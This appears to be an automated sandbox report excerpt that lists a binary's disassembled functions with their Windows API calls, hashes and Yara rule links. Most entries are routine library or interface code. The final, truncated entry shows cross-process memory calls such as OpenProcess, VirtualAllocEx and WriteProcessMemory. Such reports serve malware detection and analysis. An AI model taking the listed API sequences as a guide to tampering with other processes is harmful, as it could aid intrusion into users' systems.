                                                • Opcode Fuzzy Hash: e11812c2717bd62bf88944221602a88dcee92141856bbd0eebd70051ef83077b
                                                • Instruction Fuzzy Hash: B60192726A5A3EBE96086511AD92EFBE39C9B213D4B404030FF059A241F660ED3086A0
                                                Function 002C2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(?,?,?,002BF2DE,002C3863,00361444,?,002AFDF5,?,?,0029A976,00000010,00361440,002913FC,?,002913C6), ref: 002C2DFD
                                                • _free.LIBCMT ref: 002C2E32
                                                • _free.LIBCMT ref: 002C2E59
                                                • SetLastError.KERNEL32(00000000,00291129), ref: 002C2E66
                                                • SetLastError.KERNEL32(00000000,00291129), ref: 002C2E6F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast$_free
                                                • String ID:
                                                • API String ID: 3170660625-0
                                                • Opcode ID: 431292a4f2eaf6ff1311c59c8a0a7c1dff08186764443b4e3313c69fd9809ac4
                                                • Instruction ID: 2fce689fd5606a43f2438ba99a8dc90adc914d5c07209f472d1c2008cfcb174c
                                                • Opcode Fuzzy Hash: 431292a4f2eaf6ff1311c59c8a0a7c1dff08186764443b4e3313c69fd9809ac4
                                                • Instruction Fuzzy Hash: F201F936135A01EBC6136B746C45F2F255DABC1375B24472CF915B2193EE749C2D4420
                                                Function 002F000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?,?,002F035E), ref: 002F002B
                                                • ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?), ref: 002F0046
                                                • lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?), ref: 002F0054
                                                • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?), ref: 002F0064
                                                • CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?), ref: 002F0070
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: From$Prog$FreeStringTasklstrcmpi
                                                • String ID:
                                                • API String ID: 3897988419-0
                                                • Opcode ID: 1948748962bc47fba481b4d1c4d57ec0bf0e034d70e8f0475703f0445a616524
                                                • Instruction ID: c970814244ef6537cf1173ff4ae26ac5c85755ebbb516ae20ff0741d1fc1d373
                                                • Opcode Fuzzy Hash: 1948748962bc47fba481b4d1c4d57ec0bf0e034d70e8f0475703f0445a616524
                                                • Instruction Fuzzy Hash: C401DF72620218BFDB214F68DC84FBEBAADEF44391F10802CFA05D2211DB70DD408BA0
                                                Function 002FE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?), ref: 002FE997
                                                • QueryPerformanceFrequency.KERNEL32(?), ref: 002FE9A5
                                                • Sleep.KERNEL32(00000000), ref: 002FE9AD
                                                • QueryPerformanceCounter.KERNEL32(?), ref: 002FE9B7
                                                • Sleep.KERNEL32 ref: 002FE9F3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                • String ID:
                                                • API String ID: 2833360925-0
                                                • Opcode ID: b7cdcb40aa5111f495dcb27d71ed22836fa9f957995e11ab8b7c7d243036183e
                                                • Instruction ID: f4c1e3e9bab14dd4c48b80cdc06438dd75e2b25ca4e204e7daee972574b9f253
                                                • Opcode Fuzzy Hash: b7cdcb40aa5111f495dcb27d71ed22836fa9f957995e11ab8b7c7d243036183e
                                                • Instruction Fuzzy Hash: F0015B31C21A2DDBDF119FE4DC49AEDFB78BB09701F01056AE602B2260CB709565CBA2
                                                Function 002F10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 002F1114
                                                • GetLastError.KERNEL32(?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F1120
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F112F
                                                • HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F1136
                                                • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 002F114D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 842720411-0
                                                • Opcode ID: 9bb2bd0d69563a4b8638e8805efb3086ad3d9db2ba1e4c61862b9564dcc57b0e
                                                • Instruction ID: 25f3d6beb17b1023389c5037433fd8c6107e00d408f908b1cd81c5048901125a
                                                • Opcode Fuzzy Hash: 9bb2bd0d69563a4b8638e8805efb3086ad3d9db2ba1e4c61862b9564dcc57b0e
                                                • Instruction Fuzzy Hash: 05016D79110205BFDB224F64DC49A6B3B6EEF853A0F100428FA45C3350DB31DC218A60
                                                Function 002F0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 002F0FCA
                                                • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 002F0FD6
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 002F0FE5
                                                • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 002F0FEC
                                                • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 002F1002
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: 4c1c0c1f31c05d3282d78dab9cf67da2a4f49106bbf75d49b4000dccc0fa3dcd
                                                • Instruction ID: cf1322cf06ec42aaec98ada01658b3b7f3f3dd3d5b400b403c33ed2e13de3ba5
                                                • Opcode Fuzzy Hash: 4c1c0c1f31c05d3282d78dab9cf67da2a4f49106bbf75d49b4000dccc0fa3dcd
                                                • Instruction Fuzzy Hash: BFF04F36110305EBD7224FA49C4AF5A3B6DEF89761F504428FA45C7251CA70DC618A60
                                                Function 002F1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 002F102A
                                                • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 002F1036
                                                • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 002F1045
                                                • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 002F104C
                                                • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 002F1062
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: 7597544aeb76b54f89d2d4747a7ee8706e722f4db4b0c3d00fdd05d614c8dbcf
                                                • Instruction ID: 372c99c8d040d2a24f1f489cbe0d1d8e0b71f1c4da42a6caa6f283b1ecc54dab
                                                • Opcode Fuzzy Hash: 7597544aeb76b54f89d2d4747a7ee8706e722f4db4b0c3d00fdd05d614c8dbcf
                                                • Instruction Fuzzy Hash: 99F06235110315FBD7225FA4EC49F5A3B6DEF89761F504428FE45C7250CE70D8618A60
                                                Function 0030030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                                Download Yara Rule
                                                APIs
                                                • CloseHandle.KERNEL32(?,?,?,?,0030017D,?,003032FC,?,00000001,002D2592,?), ref: 00300324
                                                • CloseHandle.KERNEL32(?,?,?,?,0030017D,?,003032FC,?,00000001,002D2592,?), ref: 00300331
                                                • CloseHandle.KERNEL32(?,?,?,?,0030017D,?,003032FC,?,00000001,002D2592,?), ref: 0030033E
                                                • CloseHandle.KERNEL32(?,?,?,?,0030017D,?,003032FC,?,00000001,002D2592,?), ref: 0030034B
                                                • CloseHandle.KERNEL32(?,?,?,?,0030017D,?,003032FC,?,00000001,002D2592,?), ref: 00300358
                                                • CloseHandle.KERNEL32(?,?,?,?,0030017D,?,003032FC,?,00000001,002D2592,?), ref: 00300365
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseHandle
                                                • String ID:
                                                • API String ID: 2962429428-0
                                                • Opcode ID: bd5167707f5f59edfcc94d590a1fc30b93f4431424a6319128bb9dcad67b5557
                                                • Instruction ID: cf4c181561046800eca47fe03e8aff4ba1a76a13c5cff690d13f2e0c41e12038
                                                • Opcode Fuzzy Hash: bd5167707f5f59edfcc94d590a1fc30b93f4431424a6319128bb9dcad67b5557
                                                • Instruction Fuzzy Hash: 2F01E276801B019FC7369F66D890506F7F9BF503157168A3FD19252970C370A944CF80
                                                Function 002CD73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 002CD752
                                                  • Part of subcall function 002C29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000), ref: 002C29DE
                                                  • Part of subcall function 002C29C8: GetLastError.KERNEL32(00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000,00000000), ref: 002C29F0
                                                • _free.LIBCMT ref: 002CD764
                                                • _free.LIBCMT ref: 002CD776
                                                • _free.LIBCMT ref: 002CD788
                                                • _free.LIBCMT ref: 002CD79A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: 995ef0dfbf44ff7e592c3008ff9e9cd1df235c2978d258f0e109a86c0ea4ebaa
                                                • Instruction ID: d8bda2196dfc37389267db842b137816f2a426411948c3c3907a72430ef808c4
                                                • Opcode Fuzzy Hash: 995ef0dfbf44ff7e592c3008ff9e9cd1df235c2978d258f0e109a86c0ea4ebaa
                                                • Instruction Fuzzy Hash: 2DF04F32560705EB8622EF64F9C5E16B7DDBB04311BA52A1DF048E7511CB30FC948A60
                                                Function 002F5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,000003E9), ref: 002F5C58
                                                • GetWindowTextW.USER32(00000000,?,00000100), ref: 002F5C6F
                                                • MessageBeep.USER32(00000000), ref: 002F5C87
                                                • KillTimer.USER32(?,0000040A), ref: 002F5CA3
                                                • EndDialog.USER32(?,00000001), ref: 002F5CBD
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                • String ID:
                                                • API String ID: 3741023627-0
                                                • Opcode ID: fa48b269107b79b2f859382ab58198a1910c272aaacb441c16d30f208a0727ba
                                                • Instruction ID: a9c36f6ced16f92245017589be82bb4913ffe727003765c382d3b3a5bb51912c
                                                • Opcode Fuzzy Hash: fa48b269107b79b2f859382ab58198a1910c272aaacb441c16d30f208a0727ba
                                                • Instruction Fuzzy Hash: 28018B30520B149BEB315B10DD4EFB9B7BCBF00B45F04156EB783A14E1D7F459558A90
                                                Function 002C22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 002C22BE
                                                  • Part of subcall function 002C29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000), ref: 002C29DE
                                                  • Part of subcall function 002C29C8: GetLastError.KERNEL32(00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000,00000000), ref: 002C29F0
                                                • _free.LIBCMT ref: 002C22D0
                                                • _free.LIBCMT ref: 002C22E3
                                                • _free.LIBCMT ref: 002C22F4
                                                • _free.LIBCMT ref: 002C2305
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: 80e8d135ce17863de9237034756213cccb264542d43213c83ec3d2a7349d334b
                                                • Instruction ID: 78964c1317d79b8b1dab7cbcce2c4da96bf03dcff6069d9f02a75bb571c41f13
                                                • Opcode Fuzzy Hash: 80e8d135ce17863de9237034756213cccb264542d43213c83ec3d2a7349d334b
                                                • Instruction Fuzzy Hash: 77F03A74860A20DF8727AF54BC02E093B6CB718761F18AA0EF410D62B1CFB00925EFA5
                                                Function 002A95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                Download Yara Rule
                                                APIs
                                                • EndPath.GDI32(?), ref: 002A95D4
                                                • StrokeAndFillPath.GDI32(?,?,002E71F7,00000000,?,?,?), ref: 002A95F0
                                                • SelectObject.GDI32(?,00000000), ref: 002A9603
                                                • DeleteObject.GDI32 ref: 002A9616
                                                • StrokePath.GDI32(?), ref: 002A9631
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Path$ObjectStroke$DeleteFillSelect
                                                • String ID:
                                                • API String ID: 2625713937-0
                                                • Opcode ID: ab100e1239e60b139999a86eea72271edc9e106aea510be54c205acdbf696b0f
                                                • Instruction ID: b023abbc83f4db975fa18f864a6e955d28d257e804acbed72f66c7d1d2bb5257
                                                • Opcode Fuzzy Hash: ab100e1239e60b139999a86eea72271edc9e106aea510be54c205acdbf696b0f
                                                • Instruction Fuzzy Hash: 01F0EC31425605EBEB275F66ED1D7683BADEB02722F08C218F465550F0CBB089B6DFA4
                                                Function 002C0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: __freea$_free
                                                • String ID: a/p$am/pm
                                                • API String ID: 3432400110-3206640213
                                                • Opcode ID: 12ef4a9236c7e08d6ce7251e66c0501e96a53582abf120d5d02d3b3d199bf624
                                                • Instruction ID: 6b56db27fcd445cec090ea40dcf9623941cbd40ce6f8e48b90670e013865b063
                                                • Opcode Fuzzy Hash: 12ef4a9236c7e08d6ce7251e66c0501e96a53582abf120d5d02d3b3d199bf624
                                                • Instruction Fuzzy Hash: A8D1C035930246CADB249F68C857FBAB7B0EF07304F28439DE9059B652D2B59DB0CB91
                                                Function 003161D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002B0242: EnterCriticalSection.KERNEL32(0036070C,00361884,?,?,002A198B,00362518,?,?,?,002912F9,00000000), ref: 002B024D
                                                  • Part of subcall function 002B0242: LeaveCriticalSection.KERNEL32(0036070C,?,002A198B,00362518,?,?,?,002912F9,00000000), ref: 002B028A
                                                  • Part of subcall function 002B00A3: __onexit.LIBCMT ref: 002B00A9
                                                • __Init_thread_footer.LIBCMT ref: 00316238
                                                  • Part of subcall function 002B01F8: EnterCriticalSection.KERNEL32(0036070C,?,?,002A8747,00362514), ref: 002B0202
                                                  • Part of subcall function 002B01F8: LeaveCriticalSection.KERNEL32(0036070C,?,002A8747,00362514), ref: 002B0235
                                                  • Part of subcall function 0030359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 003035E4
                                                  • Part of subcall function 0030359C: LoadStringW.USER32(00362390,?,00000FFF,?), ref: 0030360A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
                                                • String ID: x#6$x#6$x#6
                                                • API String ID: 1072379062-3747883254
                                                • Opcode ID: 2f9f34deb49d3d58fce8cf58d8e646f20a03df60c865ce6a4085f4ce26a78559
                                                • Instruction ID: 6c3fd63187292b7a2c145d67c481f84c120781d1f44e01b79dd50f11f9f52884
                                                • Opcode Fuzzy Hash: 2f9f34deb49d3d58fce8cf58d8e646f20a03df60c865ce6a4085f4ce26a78559
                                                • Instruction Fuzzy Hash: C0C18C71A00105AFCB1ADF98C891EFEB7B9EF49300F15806AE9159B291DB70ED95CB90
                                                Function 002C8A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 002C8B6E
                                                • GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 002C8B7A
                                                • __dosmaperr.LIBCMT ref: 002C8B81
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharErrorLastMultiWide__dosmaperr
                                                • String ID: .+
                                                • API String ID: 2434981716-85632910
                                                • Opcode ID: bec41432335da82729519d63c2d67a66b8a8530f6517e69a493e26cdd07ffb17
                                                • Instruction ID: fd14f0f41942e6b52c75df106830ad0573037452e4eaef71384d5af65ed8fd33
                                                • Opcode Fuzzy Hash: bec41432335da82729519d63c2d67a66b8a8530f6517e69a493e26cdd07ffb17
                                                • Instruction Fuzzy Hash: 2E414BB1624145AFDB259F24C881F797BA5DB85308F28C7ADE885C7152DE718C228790
                                                Function 002F2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002FB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,002F21D0,?,?,00000034,00000800,?,00000034), ref: 002FB42D
                                                • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 002F2760
                                                  • Part of subcall function 002FB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,002F21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 002FB3F8
                                                  • Part of subcall function 002FB32A: GetWindowThreadProcessId.USER32(?,?), ref: 002FB355
                                                  • Part of subcall function 002FB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,002F2194,00000034,?,?,00001004,00000000,00000000), ref: 002FB365
                                                  • Part of subcall function 002FB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,002F2194,00000034,?,?,00001004,00000000,00000000), ref: 002FB37B
